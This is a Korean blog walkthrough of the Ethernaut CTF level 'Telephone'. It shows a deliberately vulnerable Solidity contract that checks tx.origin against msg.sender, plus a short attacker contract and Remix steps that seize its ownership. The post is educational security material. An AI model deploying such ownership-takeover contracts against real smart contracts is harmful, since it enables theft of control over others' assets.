Don't think! Just do it!

종합 IT 기술 정체성 카오스 블로그! 이... 이곳은 어디지?

Smart contract/Ethernaut 문제풀이

Ethernaut 문제풀이 #4 - Telephone

방피터 2022. 2. 28. 16:33

레벨 4 Telephone입니다. 이번 문제도 Ownership을 탈취하는 문제고 역시 Beyond the console을 참고하라는, 즉 다른 컨트랙트를 통해 이 컨트랙트를 공격하라고 합니다.

 

자 해 봅시다. 똑같이 인스턴스를 생성하시고 나서 코드를 분석해 보겠습니다.

이번에는 코드가 짧네요.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {//오너 설정
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {//tx.origin이 msg.sender와 다르면 오너 변경
      owner = _owner;
    }
  }
}

 

tx.origin은 트랜젝션의 발신자입니다. msg.sender는 메세지 발신자구요. 음 tx.origin과 msg.sender를 구분해야 한다는 메세지를 주려고 만든 문제인 것 같습니다. tx.origin은 거래가 시작된 시작점이구요. msg.sender는 바로 이전 메세지 전달자를 의미하는 거니까요.

이전 Clip coin과 비슷하게 하면 될 것 같습니다.

공격용 컨트렉트를 만들어 Telephone 컨트렉트의 changeOwner 함수를 호출하게하면 될 것 같습니다.

백문의 불여일타! 한 번 시도해보시죠~

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.7.0;

//Telephone 컨트렉트 호출을 위한 인터페이스 작성
interface Telephone {
    function changeOwner(address _owner) external;
}

contract Attacker {
    
    Telephone telephone;//Telephone 인스턴스
    constructor(address _target) public {
        telephone = Telephone(_target);//생성자에서 Telephone의 인스턴스 주소 설정
    }
    
    function exeChangeOwner() public { 	//changeOwner를 나 대신 수행
        telephone.changeOwner(msg.sender);
    }
}

이 정도로 짜면 될 것 같습니다. 제가 Telephone 컨트렉트의 입장에서 보면 tx.origin은 제 메타마스크 지갑이 될 거구요. msg.sender는 제가 새로 만든 컨트렉트가 되겠지요.

코드를 작성하셨으면 배포하고 테스트를 해보겠습니다. 레벨 3에 Flip coin에서도 설명드렸지만 다시 한번 ㅎㅎ

  1. 코드를 리믹스 위에 작성합니다. (컴파일은 자동으로 됩니다.)
  2. 왼쪽 3번째 메뉴 deploy & run transaction으로 갑니다.
  3. Environment 항목에서 Injected Web3를 선택 후 메타마크스를 연결합니다.
  4. 자동으로 Account 항목에 자신의 메타마스크 지갑 주소가 설정됩니다.
  5. Contract 항목에서 자신이 만든 컨트렉트의 이름을 선택합니다.
  6. Deploy 옆 빈 칸에 레벨 4. Telephone의 인스턴스 주소를 입력합니다.
  7. Deploy를 눌러 배포합니다.

 

배포가 안료되면 같은 화면에 자신이 배포한 컨트렉트의 인스턴스가 보입니다. 여기에 우리가 만든 atkChangeOwner함수를 그저 토글하기만 하면 되는 거죠.

 

버튼을 클릭하고 수수료를 내고 거래가 완료되면 끝입니다. 자 이제 오너가 누가 되었는지 확인하러 레벨 4 콘솔로 갑시다.

await contract.owner()

컨트렉트가 자신으로 변경된 것을 확인하실 수 있습니다. 이번은 쉬어가는 페이지같은 느낌이었네요. 큰 어려움은 없었습니다.

제출하고 칭찬으세요. ㅎㅎ 잘하셨어요.

 

오늘의 교훈은 바로!

 

tx.origin과 msg.sender는 다르다! 분명하게 구분해서 사용하자!

 

로 하겠습니다. 레벨 5에서 만나요~

 

안녕~!

반응형